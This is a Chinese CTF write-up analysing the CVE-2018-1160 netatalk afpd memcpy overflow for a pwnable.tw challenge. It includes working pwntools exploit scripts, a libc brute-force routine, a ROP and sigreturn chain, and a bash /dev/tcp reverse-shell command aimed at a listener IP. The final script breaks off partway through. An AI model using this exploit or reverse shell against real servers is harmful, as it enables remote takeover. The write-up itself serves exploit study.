CVE-2018-1160


CVE-2018-1160

序言

我做题的时候主要参考以下3篇wp,本文可以配合这3篇wp食用:

gtrboy

ruan

Clang裁缝店

运行与调试

在ubuntu18.04下运行:

$ LD_PRELOAD="./libatalk.so.18"  ./afpd -d -F ./afp.conf

由afp.conf可知,程序会监听5566端口:

[Global]
afp port = 5566
disconnect time = 0
max connections = 1000
sleep time = 0
$ sudo netstat -pantu | grep 5566
tcp6       0      0 :::5566                 :::*                    LISTEN      4037/./afpd

调试的时候直接attach进程号,而且由于我们攻击的是fork出来的子进程,所以需要让gdb跟进子进程:

$ sudo gdb --pid 4037 -q
pwndbg> set follow-fork-mode child

分析

源码下载

我们主要关注 /etc/afpd/libatalk 两个文件夹,前者是主体,后者是功能库。

DSI

用户与afpd交互主要是通过DSI数据包,其格式如下:
DSI标准
我们将Payload前面的部分称为Header,我们的Header如下:

def gen_header(payload_len):
    header = "\x00"				# Flags: request(0)
    # 由于漏洞点位于 dsi_opensession,故 Command = 4
    header += "\x04"				# Command: DSIOpenSession(4)
    header += "\x00\x01"			# Request ID
    header += "\x00\x00\x00\x00"		# Error code/ enclosed data offset: 0
    header += struct.pack(">I", payload_len)	# Total data length
    header += "\x00\x00\x00\x00"		# Reserved

    return header

DSI数据包发送给netatalk后,在main()函数中处理数据,用DSI结构体保存。可以看到,我们上面的Header其实就是保存在dsi_block结构体中的:

#define DSI_BLOCKSIZ 16
struct dsi_block {
    uint8_t dsi_flags;       /* packet type: request or reply */
    uint8_t dsi_command;     /* command */
    uint16_t dsi_requestID;  /* request ID */
    union {
        uint32_t dsi_code;   /* error code */
        uint32_t dsi_doff;   /* data offset */
    } dsi_data;
    uint32_t dsi_len;        /* total data length */
    uint32_t dsi_reserved;   /* reserved field */
};

#define DSI_DATASIZ       65536

/* child and parent processes might interpret a couple of these
 * differently. */
typedef struct DSI {
    struct DSI *next;             /* multiple listening addresses */
    AFPObj   *AFPobj;
    int      statuslen;
    char     status[1400];
    char     *signature;
    struct dsi_block        header;
    struct sockaddr_storage server, client;
    struct itimerval        timer;
    int      tickle;            /* tickle count */
    int      in_write;          /* in the middle of writing multiple packets,
                                   signal handlers can't write to the socket */
    int      msg_request;       /* pending message to the client */
    int      down_request;      /* pending SIGUSR1 down in 5 mn */

    uint32_t attn_quantum, datasize, server_quantum;
    uint16_t serverID, clientID;
    uint8_t  *commands; /* DSI recieve buffer */
    uint8_t  data[DSI_DATASIZ];    /* DSI reply buffer */
    size_t   datalen, cmdlen;
    off_t    read_count, write_count;
    uint32_t flags;             /* DSI flags like DSI_SLEEPING, DSI_DISCONNECTED */
    int      socket;            /* AFP session socket */
    int      serversock;        /* listening socket */

    /* DSI readahead buffer used for buffered reads in dsi_peek */
    size_t   dsireadbuf;        /* size of the DSI readahead buffer used in dsi_peek() */
    char     *buffer;           /* buffer start */
    char     *start;            /* current buffer head */
    char     *eof;              /* end of currently used buffer */
    char     *end;

#ifdef USE_ZEROCONF
    char *bonjourname;      /* server name as UTF8 maxlen MAXINSTANCENAMELEN */
    int zeroconf_registered;
#endif

    /* protocol specific open/close, send/receive
     * send/receive fill in the header and use dsi->commands.
     * write/read just write/read data */
    pid_t  (*proto_open)(struct DSI *);
    void   (*proto_close)(struct DSI *);
} DSI;

漏洞触发

总结:main() -> dsi_start() -> dis_getsession() -> dsi_opensession(): memcpy()

  • main()(@/etc/afpd/main.c):main()函数先进行一系列初始化工作,包括解析配置文件,初始化socket、初始化dsi结构体等,之后调用dsi_start()函数。

    int main(int ac, char **av)
    {
    	......
            for (int i = 0; i < asev->used; i++) {
                if (asev->fdset[i].revents & (POLLIN | POLLERR | POLLHUP | POLLNVAL)) {
                    switch (asev->data[i].fdtype) {
    
                    case LISTEN_FD:
    		    /**************************************************
    		    main() -> dis_start()
    		    **************************************************/
                        if ((child = dsi_start(&obj, (DSI *)(asev->data[i].private), server_children))) {
                            if (!(asev_add_fd(asev, child->afpch_ipc_fd, IPC_FD, child))) {
                                LOG(log_error, logtype_afpd, "out of asev slots");
    
                                /*
                                 * Close IPC fd here and mark it as unused
                                 */
                                close(child->afpch_ipc_fd);
                                child->afpch_ipc_fd = -1;
    
                                /*
                                 * Being unfriendly here, but we really
                                 * want to get rid of it. The 'child'
                                 * handle gets cleaned up in the SIGCLD
                                 * handler.
                                 */
                                kill(child->afpch_pid, SIGKILL);
                            }
                        }
                        break;
    
  • dsi_start()(@/etc/afpd/main.c):dsi_start()函数先调用dsi_getsession()函数获取TCP会话,解析请求消息,之后调用afp_over_dsi()函数进行会话内容的处理。

    static afp_child_t *dsi_start(AFPObj *obj, DSI *dsi, server_child_t *server_children)
    {
        afp_child_t *child = NULL;
    
        if (dsi_getsession(dsi, server_children, obj->options.tickleval, &child) != 0) {
            LOG(log_error, logtype_afpd, "dsi_start: session error: %s", strerror(errno));
            return NULL;
        }
    
        /* we've forked. */
        if (child == NULL) {
            configfree(obj, dsi);
            afp_over_dsi(obj); /* start a session */
            exit (0);
        }
    
        return child;
    }
    
  • dis_getsession()(@/libatalk/dsi/dsi_getsess.c):dis_getsession()函数开启一个DSI会话,从TCP socket接收会话消息,保存至结构体DSI中。 函数首先调用dsi->proto_open(dsi)进行TCP消息的接收和处理,该函数实体为dsi_tcp_open()。根据返回值是父进程还是子进程,进入不同的处理逻辑。父进程则直接返回,继续监听;子进程则进入之后的DSI消息处理逻辑,根据dsi_command的值(下面在结构体中介绍),选择不同的处理方式,若dsi_command为DSIFUNC_OPEN,则调用dsi_opensession()函数,初始化DSI会话。其中,dsi_tcp_open()将接收的数据保存至DSI结构体中。

    int dsi_getsession(DSI *dsi, server_child_t *serv_children, int tickleval, afp_child_t **childp)
    {
    
      ......
    
      switch (pid = dsi->proto_open(dsi)) { /* in libatalk/dsi/dsi_tcp.c */
      case -1:
        /* if we fail, just return. it might work later */
        LOG(log_error, logtype_dsi, "dsi_getsess: %s", strerror(errno));
        return -1;
    
      case 0: /* child. mostly handled below. */
        break;
    
      default: /* parent */
        /* using SIGKILL is hokey, but the child might not have
         * re-established its signal handler for SIGTERM yet. */
    
        ......
    
        dsi->proto_close(dsi);
        *childp = child;
        return 0;
      }
    
      ......
    
      switch (dsi->header.dsi_command) {
      case DSIFUNC_STAT: /* send off status and return */
        ......
    
      case DSIFUNC_OPEN: /* setup session */
        /* set up the tickle timer */
        dsi->timer.it_interval.tv_sec = dsi->timer.it_value.tv_sec = tickleval;
        dsi->timer.it_interval.tv_usec = dsi->timer.it_value.tv_usec = 0;
        dsi_opensession(dsi);
        *childp = NULL;
        return 0;
    
      default: /* just close */
        LOG(log_info, logtype_dsi, "DSIUnknown %d", dsi->header.dsi_command);
        dsi->proto_close(dsi);
        exit(EXITERR_CLNT);
      }
    }
  • dsi_opensession()(@/libatalk/dsi/dsi_opensess.c):dsi_opensession()函数首先根据commands[0]的内容决定处理逻辑,若为DSIOPT_ATTNQUANT,则执行memcpy,以commands[1]为大小,将commands[2]之后的内容拷贝至DSI结构体的attn_quantum成员变量(4 bytes)。之后程序会构建新的DSI消息到dsi->commands中, 将server_quantum的值返回给客户端 。漏洞点在 memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]) ,这里的 dsi->commands 就是DSI数据包结构中的Payload,解析结构为 dsi->commands = 功能码(1 byte) + 数据长度(1 byte) + 数据载荷(n byte)。程序开发者本意是想拷贝4个字节内容至dsi->attn_quantum变量,但是由于Payload是可控的,故memcpy长度可由攻击者定义(commands[1],最大值为255),因此攻击者可以覆盖attn_quantum之后变量的内容(包括datasize,server_quantum,serverID,clientID,*commands和部分的data)。

    pedef struct DSI {
        ......
    
        uint32_t attn_quantum, datasize, server_quantum;
        uint16_t serverID, clientID;
        uint8_t  *commands; /* DSI recieve buffer */
        uint8_t  data[DSI_DATASIZ];    /* DSI reply buffer */
        size_t   datalen, cmdlen;
        off_t    read_count, write_count;
        ......
    } DSI;
    void dsi_opensession(DSI *dsi)
    {
      uint32_t i = 0; /* this serves double duty. it must be 4-bytes long */
      int offs;
    
        ......
    
      /* parse options */
      while (i < dsi->cmdlen) {
        /*
        * 结合这里的可知 Payload 的内部结构为:
        * dsi->commands = 功能码(1 byte) + 数据长度(1 byte) + 数据载荷(n byte)
        */
        switch (dsi->commands[i++]) {
        case DSIOPT_ATTNQUANT:
          // 漏洞点
          memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);
          dsi->attn_quantum = ntohl(dsi->attn_quantum);
    
        case DSIOPT_SERVQUANT: /* just ignore these */
        default:
          i += dsi->commands[i] + 1; /* forward past length tag + length */
          break;
        }
      }
    
      /* let the client know the server quantum. we don't use the
       * max server quantum due to a bug in appleshare client 3.8.6. */
      dsi->header.dsi_flags = DSIFL_REPLY;
      dsi->header.dsi_data.dsi_code = 0;
      /* dsi->header.dsi_command = DSIFUNC_OPEN;*/
    
      dsi->cmdlen = 2 * (2 + sizeof(i)); /* length of data. dsi_send uses it. */
    
      /* DSI Option Server Request Quantum */
      dsi->commands[0] = DSIOPT_SERVQUANT;
      dsi->commands[1] = sizeof(i);
      i = htonl(( dsi->server_quantum < DSI_SERVQUANT_MIN || 
    	      dsi->server_quantum > DSI_SERVQUANT_MAX ) ? 
    	    DSI_SERVQUANT_DEF : dsi->server_quantum);
      memcpy(dsi->commands + 2, &i, sizeof(i));
    
      /* AFP replaycache size option */
      offs = 2 + sizeof(i);
      dsi->commands[offs] = DSIOPT_REPLCSIZE;
      dsi->commands[offs+1] = sizeof(i);
      i = htonl(REPLAYCACHE_SIZE);
      memcpy(dsi->commands + offs + 2, &i, sizeof(i));
      dsi_send(dsi);
    }

利用思路

我们在同一个socket中发送2条DSI消息,实现任意地址写。

第一条消息

利用上面提到的memcpy漏洞,将*commands指针覆盖成free_hook的地址。发送第一条消息的DSI数据包的Header由 gen_header(payload_len)生成,Payload格式如下:

def gen_payload1(data):
    payload = "\x01"
    payload += chr(len(data))
    payload += data

第二条消息

  • afp_over_dsi()(@/etc/afpd/afp_dsi.c):执行完上面提到的dsi_opensession()函数后,子进程返回至dsi_start()函数,调用afp_over_dsi()函数,该函数负责在当前socket下继续读取消息,并根据消息调用不同的处理函数,实现AFP协议的通信。函数首先调用了 dsi_stream_receive() ,从当前socket读取新消息,之后根据消息内容返回DSI header中的dsi_command。根据dsi_command值的不同,走不同的switch分支,其中当dsi_command为DSIFUNC_CMD时,会以commands[0]为index,从afp_switch这个全局的函数数组中选择对应的处理函数,处理commands数据。afp_switch这个全局的变量,在初始时赋值为preauth_switch,其中只包含认证前能访问的函数,在通过认证之后,会变为postauth_switch,可访问认证后的函数。
    void afp_over_dsi(AFPObj *obj){
        DSI *dsi = (DSI *) obj->dsi;
        int rc_idx;
        uint32_t err, cmd;
        uint8_t function;
    
        ......
    
        while(1){
            /* Blocking read on the network socket */
            cmd = dsi_stream_receive(dsi);
    
            switch(cmd) {
            case DSIFUNC_CLOSE:
                LOG(log_debug, logtype_afpd, "DSI: close session request");
                afp_dsi_close(obj);
                LOG(log_note, logtype_afpd, "done");
                exit(0);
    
            case DSIFUNC_TICKLE:
                ......
    
            case DSIFUNC_CMD:
                function = (u_char) dsi->commands[0];
                if (afp_switch[function]) {
                    ......
                    err = (*afp_switch[function])(obj,
                                                      (char *)dsi->commands, dsi->cmdlen,
                                                      (char *)&dsi->data, &dsi->datalen);
                    ......
                }
            }
            ......
        }
        ......
    }
  • dsi_stream_receive()(@/libatalk/dsi/dsi_stream.c):该函数从当前socket继续读取消息并保存在结构体中。具体地,先读取DSI header并保存到dsi->header结构体中,然后读取后续DSI payload保存到dsi->commands指向的buffer当中,长度由dsi->cmdlen指定。
    int dsi_stream_receive(DSI *dsi)
    {
      char block[DSI_BLOCKSIZ];
    
      LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: START");
    
      if (dsi->flags & DSI_DISCONNECTED)
          return 0;
    
      /* read in the header */
      if (dsi_buffered_stream_read(dsi, (uint8_t *)block, sizeof(block)) != sizeof(block)) 
        return 0;
    
      dsi->header.dsi_flags = block[0];
      dsi->header.dsi_command = block[1];
    
      if (dsi->header.dsi_command == 0)
          return 0;
    
      memcpy(&dsi->header.dsi_requestID, block + 2, sizeof(dsi->header.dsi_requestID));
      memcpy(&dsi->header.dsi_data.dsi_doff, block + 4, sizeof(dsi->header.dsi_data.dsi_doff));
      dsi->header.dsi_data.dsi_doff = htonl(dsi->header.dsi_data.dsi_doff);
      memcpy(&dsi->header.dsi_len, block + 8, sizeof(dsi->header.dsi_len));
    
      memcpy(&dsi->header.dsi_reserved, block + 12, sizeof(dsi->header.dsi_reserved));
      dsi->clientID = ntohs(dsi->header.dsi_requestID);
    
      /* make sure we don't over-write our buffers. */
      dsi->cmdlen = MIN(ntohl(dsi->header.dsi_len), dsi->server_quantum);
    
      /* Receiving DSIWrite data is done in AFP function, not here */
      if (dsi->header.dsi_data.dsi_doff) {
          LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: write request");
          dsi->cmdlen = dsi->header.dsi_data.dsi_doff;
      }
    
      /* 将header之后的payload读取到commands指向的内存中 */
      if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen)
        return 0;
    
      LOG(log_debug, logtype_dsi, "dsi_stream_receive: DSI cmdlen: %zd", dsi->cmdlen);
    
      return block[1];
    }
  • 第二条消息最终会由dsi_stream_receive()函数中的 dsi_stream_read(dsi, dsi->commands, dsi->comlen)函数读取到dsi->commands所指向的内存中(该指针已在第一条消息中被篡改为free_hook,因此此时我们篡改的就是free_hook)。其中dsi->comlen由DSI数据包中的Total data length指定。第二条消息的DSI数据包的Header也由 gen_header(payload_len)生成,Payload格式如下。在开头再加一个’\x00’是因为afp_over_dsi()函数在执行完dsi_stream_receive()后会进入 case DSIFUNC_CMD,第一个字节用于指定要使用的函数(function = (u_char) dsi->commands[0])拿个0去填充即可。
    def gen_payload2(data):
        return "\x00" + data

ROP

参考(CV):gtrboy

  1. setcontext+53:

    .text:0000000000052070 ; __unwind {
    .text:0000000000052070                 push    rdi
    .text:0000000000052071                 lea     rsi, [rdi+128h] ; nset
    .text:0000000000052078                 xor     edx, edx        ; oset
    .text:000000000005207A                 mov     edi, 2          ; how
    .text:000000000005207F                 mov     r10d, 8         ; sigsetsize
    .text:0000000000052085                 mov     eax, 0Eh
    .text:000000000005208A                 syscall                 ; LINUX - sys_rt_sigprocmask
    .text:000000000005208C                 pop     rdi
    .text:000000000005208D                 cmp     rax, 0FFFFFFFFFFFFF001h
    .text:0000000000052093                 jnb     short loc_520F0
    .text:0000000000052095                 mov     rcx, [rdi+0E0h]
    .text:000000000005209C                 fldenv  byte ptr [rcx]
    .text:000000000005209E                 ldmxcsr dword ptr [rdi+1C0h]
    .text:00000000000520A5                 mov     rsp, [rdi+0A0h]	; <--- setcontext+53
    .text:00000000000520AC                 mov     rbx, [rdi+80h]
    .text:00000000000520B3                 mov     rbp, [rdi+78h]
    .text:00000000000520B7                 mov     r12, [rdi+48h]
    .text:00000000000520BB                 mov     r13, [rdi+50h]
    .text:00000000000520BF                 mov     r14, [rdi+58h]
    .text:00000000000520C3                 mov     r15, [rdi+60h]
    .text:00000000000520C7                 mov     rcx, [rdi+0A8h]
    .text:00000000000520CE                 push    rcx
    .text:00000000000520CF                 mov     rsi, [rdi+70h]
    .text:00000000000520D3                 mov     rdx, [rdi+88h]
    .text:00000000000520DA                 mov     rcx, [rdi+98h]
    .text:00000000000520E1                 mov     r8, [rdi+28h]
    .text:00000000000520E5                 mov     r9, [rdi+30h]
    .text:00000000000520E9                 mov     rdi, [rdi+68h]
    .text:00000000000520E9 ; } // starts at 52070
    .text:00000000000520ED ; __unwind {
    .text:00000000000520ED                 xor     eax, eax
    .text:00000000000520EF                 retn

    其实对照下图可知:这段gadget是根据sigreturn系统调用中的Signal Frame格式在给各个寄存器赋值。由于赋值时是根据rdi寄存器中存放的值作为基址的,故使用这个gadget要求rdi寄存器rdi指向的内存空间都可控

    Signal Frame

  2. libc_dlopen_mode+56:这段gadget首先把_dl_open_hook内的值(并不是_dl_open_hook的地址)赋值给rax,然后以该值1为地址取值2,跳转到值2对应的地址。效果等价于令rip跳转到_dl_open_hook上所保存的地址,并且令rax=_dl_open_hook的地址值。

    .text:0000000000166450 ; __unwind {
    .text:0000000000166450                 sub     rsp, 58h
    .text:0000000000166454                 mov     rax, fs:28h
    .text:000000000016645D                 mov     [rsp+58h+var_10], rax
    .text:0000000000166462                 xor     eax, eax
    .text:0000000000166464                 mov     rax, [rsp+58h]
    .text:0000000000166469                 mov     [rsp+58h+var_38], rdi
    .text:000000000016646E                 mov     [rsp+58h+var_30], esi
    .text:0000000000166472                 mov     [rsp+58h+var_28], rax
    .text:0000000000166477                 mov     rax, cs:_rtld_global_ro_ptr
    .text:000000000016647E                 cmp     qword ptr [rax+148h], 0
    .text:0000000000166486                 jnz     short loc_1664B0
    .text:0000000000166488                 mov     rax, cs:_dl_open_hook	; <--- libc_dlopen_mode+56
    .text:000000000016648F                 call    qword ptr [rax]
  3. fgetpos64+207

    mov rdi, rax ; call qword ptr [rax + 0x20]
  4. 布局

    payload布局

爆破基址

  1. 先打一次会覆盖DSI结构中的command指针payload:

    import struct
    
    from pwn import *
    
    
    REMOTE = False
    IP = "127.0.0.1"
    PORT = 5566
    
    if REMOTE:
        IP = "chall.pwnable.tw"
        PORT = 10002
    
    p = remote(IP, PORT)
    context(arch='amd64', os='linux', log_level='debug')
    
    libc = ELF("./libc-2.27.so")
    
    def gen_payload1(data):
        payload = "\x01"
        payload += chr(len(data))
        payload += data
    
        return payload
    
    def gen_payload2(data):
        return "\x00" + data
    
    def gen_header(payload_len):
        header = "\x00"
        header += "\x04"
        header += "\x00\x01"
        header += "\x00\x00\x00\x00"
        header += struct.pack(">I", payload_len)
        header += "\x00\x00\x00\x00"
    
        return header
    
    
    data = ""
    data += 'a'*0x80
    
    tmp = gen_payload1(data)
    tmp = gen_header(len(tmp)) + tmp
    p.send(tmp)
    
    p.recv()
    $ sudo gdb --pid 5738 -q
    pwndbg> set follow-fork-mode child
    pwndbg> c
    Continuing.
    [New process 5931]
    [Thread debugging using libthread_db enabled]
    Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
    
    Thread 2.1 "afpd" received signal SIGSEGV, Segmentation fault.
    [Switching to Thread 0x7fb640684740 (LWP 5931)]
    0x00007fb640218fbb in ?? ()
    LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    ────────────────────────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────────────────────────
    RAX  0x61616161
    RBX  0x55b9d5142450 ◂— 0x0
    RCX  0x6161616161616161 ('aaaaaaaa')
    RDX  0x0
    RDI  0x55b9d5142ba8 ◂— 0x0
    RSI  0x7fb640583092 ◂— 0x0
    R8   0x55b9d5142b28 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
    R9   0x1
    R10  0x25
    R11  0x293
    R12  0x55b9d51400d0 ◂— 0x0
    R13  0x1e
    R14  0x7ffc23cfb350 ◂— 0x0
    R15  0x0
    RBP  0x55b9d5142450 ◂— 0x0
    RSP  0x7ffc23cfb250 ◂— 0x0
    RIP  0x7fb640218fbb ◂— movzx  eax, byte ptr [rcx + r9]
    ─────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────
    ► 0x7fb640218fbb    movzx  eax, byte ptr [rcx + r9]
    0x7fb640218fc0    lea    esi, [rdx + rax + 2]
    0x7fb640218fc4    cmp    rsi, qword ptr [rbx + 0x106f8]
    0x7fb640218fcb    mov    rdx, rsi
    0x7fb640218fce    jb     0x7fb640218f80                <0x7fb640218f80>
    ↓
    0x7fb640218f80    cmp    byte ptr [rcx + rsi], 1
    0x7fb640218f84    lea    r9d, [rdx + 1]
    0x7fb640218f88    movzx  eax, byte ptr [rcx + r9]
    0x7fb640218f8d    jne    0x7fb640218f70                <0x7fb640218f70>
    ↓
    0x7fb640218f70    lea    esi, [rdx + rax + 2]
    0x7fb640218f74    cmp    rsi, qword ptr [rbx + 0x106f8]
    ──────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────
    00:0000│ rsp 0x7ffc23cfb250 ◂— 0x0
    01:0008│     0x7ffc23cfb258 —▸ 0x7fb640218c63 ◂— mov    qword ptr [r14], 0
    02:0010│     0x7ffc23cfb260 ◂— 0x0
    03:0018│     0x7ffc23cfb268 ◂— 0x600000005
    04:0020│     0x7ffc23cfb270 ◂— 0x170900000002
    05:0028│     0x7ffc23cfb278 ◂— 0x2000003e8
    06:0030│     0x7ffc23cfb280 ◂— 0x7ffc55555554
    07:0038│     0x7ffc23cfb288 ◂— 0x46505845 /* 'EXPF' */
    ────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────
    ► f 0   0x7fb640218fbb
    f 1              0x0
    ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
    pwndbg>

    由于DSI结构体中的command指针被赋值称 0x6161616161616161,该地址不可访问,程序断在 0x7fb640218fbb处。

  2. 接下来在 0x7fb640218fbb处下断点,定位DSI结构体在内存中的位置:

    import struct
    
    from pwn import *
    
    
    REMOTE = False
    IP = "127.0.0.1"
    PORT = 5566
    
    if REMOTE:
        IP = "chall.pwnable.tw"
        PORT = 10002
    
    p = remote(IP, PORT)
    context(arch='amd64', os='linux', log_level='debug')
    
    libc = ELF("./libc-2.27.so")
    
    def gen_payload1(data):
        payload = "\x01"
        payload += chr(len(data))
        payload += data
    
        return payload
    
    def gen_payload2(data):
        return "\x00" + data
    
    def gen_header(payload_len):
        header = "\x00"
        header += "\x04"
        header += "\x00\x01"
        header += "\x00\x00\x00\x00"
        header += struct.pack(">I", payload_len)
        header += "\x00\x00\x00\x00"
    
        return header
    
    
    data = ""
    data += "aaaa"	# attn_quantum
    data += "bbbb"	# datasize
    data += "blog"	# server_quantum
    
    tmp = gen_payload1(data)
    tmp = gen_header(len(tmp)) + tmp
    p.send(tmp)
    
    p.recv()

    搜索一下标记字符串”blog”:

    pwndbg> search blog
    [heap]          0x55b9d5142b30 0x10000676f6c62 /* 'blog' */
    uams_dhx2_passwd.so 0x7fb63a7d3241 'blog/ctf/pwnable_tw/CVE-2018-1160/netatalk-3.1.11/etc/uams'
    uams_dhx_passwd.so 0x7fb63ae9b625 'blog/ctf/pwnable_tw/CVE-2018-1160/netatalk-3.1.11/etc/uams'
    [anon_7fb640583] 0x7fb64058301a 0x676f6c62 /* 'blog' */
    [anon_7fb6406a8] 0x7fb6406a84b6 'blog/ctf/pwnable_tw/CVE-2018-1160/netatalk/.'
    [stack]         0x7ffc23cfda25 0x47445800676f6c62 /* 'blog' */
    [stack]         0x7ffc23cfda74 0x53454400676f6c62 /* 'blog' */
    [stack]         0x7ffc23cfdb23 'blog/ctf/pwnable_tw/CVE-2018-1160/netatalk'
    [stack]         0x7ffc23cfdb59 0x554f4a00676f6c62 /* 'blog' */
    [stack]         0x7ffc23cfde0f 0x55424400676f6c62 /* 'blog' */
    [stack]         0x7ffc23cfdef0 'blog/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin'
    

    存放结构体的堆应该位于 0x55b9d5142b00。commonds指针指向的地址为 0x00007fb640583010

    pwndbg> x/10xg 0x55b9d5142b00
    0x55b9d5142b00:	0x0000000000000000	0x000000000000001e
    0x55b9d5142b10:	0x0000000000000000	0x0000000000000000
    0x55b9d5142b20:	0x0000000000000000	0x6262626261616161
    0x55b9d5142b30:	0x00010000676f6c62	0x00007fb640583010
    0x55b9d5142b40:	0x0000000000000000	0x0000000000000000

    vmmap观察一下周围的内存情况:

    0x7fb63f7d7000     0x7fb63f9be000 r-xp   1e7000 0      /lib/x86_64-linux-gnu/libc-2.27.so
    0x7fb63f9be000     0x7fb63fbbe000 ---p   200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7fb63fbbe000     0x7fb63fbc2000 r--p     4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7fb63fbc2000     0x7fb63fbc4000 rw-p     2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7fb63fbc4000     0x7fb63fbc8000 rw-p     4000 0      [anon_7fb63fbc4]
    0x7fb63fbc8000     0x7fb63fbe2000 r-xp    1a000 0      /lib/x86_64-linux-gnu/libpthread-2.27.so
    0x7fb63fbe2000     0x7fb63fde1000 ---p   1ff000 1a000  /lib/x86_64-linux-gnu/libpthread-2.27.so
    0x7fb63fde1000     0x7fb63fde2000 r--p     1000 19000  /lib/x86_64-linux-gnu/libpthread-2.27.so
    0x7fb63fde2000     0x7fb63fde3000 rw-p     1000 1a000  /lib/x86_64-linux-gnu/libpthread-2.27.so
    0x7fb63fde3000     0x7fb63fde7000 rw-p     4000 0      [anon_7fb63fde3]
    0x7fb63fde7000     0x7fb63fdee000 r-xp     7000 0      /lib/x86_64-linux-gnu/libacl.so.1.1.0
    0x7fb63fdee000     0x7fb63ffed000 ---p   1ff000 7000   /lib/x86_64-linux-gnu/libacl.so.1.1.0
    0x7fb63ffed000     0x7fb63ffee000 r--p     1000 6000   /lib/x86_64-linux-gnu/libacl.so.1.1.0
    0x7fb63ffee000     0x7fb63ffef000 rw-p     1000 7000   /lib/x86_64-linux-gnu/libacl.so.1.1.0
    0x7fb63ffef000     0x7fb63fff2000 r-xp     3000 0      /lib/x86_64-linux-gnu/libdl-2.27.so
    0x7fb63fff2000     0x7fb6401f1000 ---p   1ff000 3000   /lib/x86_64-linux-gnu/libdl-2.27.so
    0x7fb6401f1000     0x7fb6401f2000 r--p     1000 2000   /lib/x86_64-linux-gnu/libdl-2.27.so
    0x7fb6401f2000     0x7fb6401f3000 rw-p     1000 3000   /lib/x86_64-linux-gnu/libdl-2.27.so
    0x7fb6401f3000     0x7fb640271000 r-xp    7e000 0      /home/blog/ctf/pwnable_tw/CVE-2018-1160/netatalk/libatalk.so.18
    0x7fb640271000     0x7fb640470000 ---p   1ff000 7e000  /home/blog/ctf/pwnable_tw/CVE-2018-1160/netatalk/libatalk.so.18
    0x7fb640470000     0x7fb640471000 r--p     1000 7d000  /home/blog/ctf/pwnable_tw/CVE-2018-1160/netatalk/libatalk.so.18
    0x7fb640471000     0x7fb640473000 rw-p     2000 7e000  /home/blog/ctf/pwnable_tw/CVE-2018-1160/netatalk/libatalk.so.18
    0x7fb640473000     0x7fb640481000 rw-p     e000 0      [anon_7fb640473]
    0x7fb640481000     0x7fb6404aa000 r-xp    29000 0      /lib/x86_64-linux-gnu/ld-2.27.so
    0x7fb640583000     0x7fb640684000 rw-p   101000 0      [anon_7fb640583]
  3. 既然commonds指针指向的位置在libcbase的后面,那么我们可以在保证地址值是0x1000的整数倍的前提下,从高到低逐位爆破出一个可写的地址,再用这个地址去每次减0x1000枚举libcbase。在上面的vmmap中:只要枚举 (0x7fb6406840000-0x7fb63f7d7000)/0x1000=3757次即可得到libcbase。

  4. 我们可以在服务器上 sudo nc -lvnp [PORT]监听特定端口,每枚举一个libcbase,就用 bash -c "bash -i>& /dev/tcp/[IP]/[PORT] 0>&1"去尝试反弹shell,直到成功为止。

EXP

import struct

from pwn import *


REMOTE = True
IP = "127.0.0.1"
PORT = 5566
CMD = 'bash -c "bash  -i>& /dev/tcp/106.52.6.138/80 0>&1"'

if REMOTE:
    IP = "chall.pwnable.tw"
    PORT = 10002

context(arch='amd64', os='linux', log_level='error')

libc = ELF("./libc-2.27.so")

def gen_payload1(data):
    payload = "\x01"
    payload += chr(len(data))
    payload += data

    return payload

def gen_payload2(data):
    return "\x00" + data

def gen_header(payload_len):
    header = "\x00"
    header += "\x04"
    header += "\x00\x01"
    header += "\x00\x00\x00\x00"
    header += struct.pack(">I", payload_len)
    header += "\x00\x00\x00\x00"

    return header

def bruteforce():
    leak_addr = "\x00"

    for i in range(5):
	d = -1
	s0 = 255
	if(i == 0):
	    d = -0x10
	    s0 = 240
        for j in range(s0,d,d):
	    now = ""
	    now += "aaaa"	# attn_quantum
    	    now += "bbbb"	# datasize
    	    now += "blog"	# server_quantum
    	    now += "dddd"	# serverID, clientID
	    now += leak_addr + chr(j)

	    p = remote(IP, PORT)
	    tmp = gen_payload1(now)
	    tmp = gen_header(len(tmp)) + tmp
	    p.send(tmp)

	    try:
                if("golb" in p.recv()):
                    leak_addr += chr(j)
		    print(leak_addr)
                    p.close()
                    break
            except:
                p.close()
    # 0x7f1d23795000
    ret = u64(leak_addr.ljust(8,'\x00'), endian = "little")
    print(hex(ret))
    return ret
  

def exploit(leak_addr, offset):
    libc_base = leak_addr - offset
    free_hook = libc_base + libc.sym["__free_hook"]
    dl_open_hook = libc_base + libc.sym["_dl_open_hook"]
    system_addr = libc_base + libc.sym["system"]
    setcontext_53 = libc_base + 0x520A5
    libc_dlopen_mode_56 = libc_base + 0x166488
    fgetpos64_207 = libc_base + 0x7EA1F

    p = remote(IP, PORT)
    data = ""
    data += "aaaa"	# attn_quantum
    data += "bbbb"	# datasize
    data += "blog"	# server_quantum
    data += "dddd"	# serverID, clientID
    data += p64(free_hook - 0x10)
    tmp = gen_payload1(data)
    tmp = gen_header(len(tmp)) + tmp
    p.send(tmp)

    sigframe = SigreturnFrame()
    sigframe.rip = system_addr
    sigframe.rdi = free_hook + 8                   # cmd
    sigframe.rsp = free_hook                       # must be a writable address, as the stack of system func

    data = "".ljust(0xF, '\x00')              # padding
